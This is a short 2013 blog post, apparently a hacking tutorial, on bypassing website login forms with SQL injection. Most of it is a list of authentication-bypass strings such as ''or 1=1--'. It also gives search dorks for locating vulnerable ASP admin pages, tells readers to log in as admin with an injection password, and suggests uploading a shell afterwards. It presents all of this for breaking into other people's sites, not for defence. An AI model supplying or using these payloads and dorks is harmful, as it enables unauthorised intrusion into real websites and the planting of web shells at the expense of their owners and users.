Thursday 7 March 2013

SQl injection [string bypass]




sql string bypass is a sqli method used to bypass the login forms in vulnerable sites

here are some SQl strings



1'or'1'='1

admin'--

' or 0=0 --

" or 0=0 --

or 0=0 --

' or 0=0 #

" or 0=0 #

or 0=0 #

' or 'x'='x

" or "x"="x

') or ('x'='x

' or 1=1--

" or 1=1--

or 1=1--

' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

'or' '='



dorks to find vulnerable sites

Inurl:admin/login.asp?

Inurl:admin.asp?


Inurl:admin/admincp.asp?


just enter these details in the login form 



Username :   admin
Password  :  1'or'1'='1



after you entered all the details you will enter into the cpanel and can edit the site 

you can upload your shell there



hope you liked this post
if you have any doubts you can leave you comments 






No comments:

Post a Comment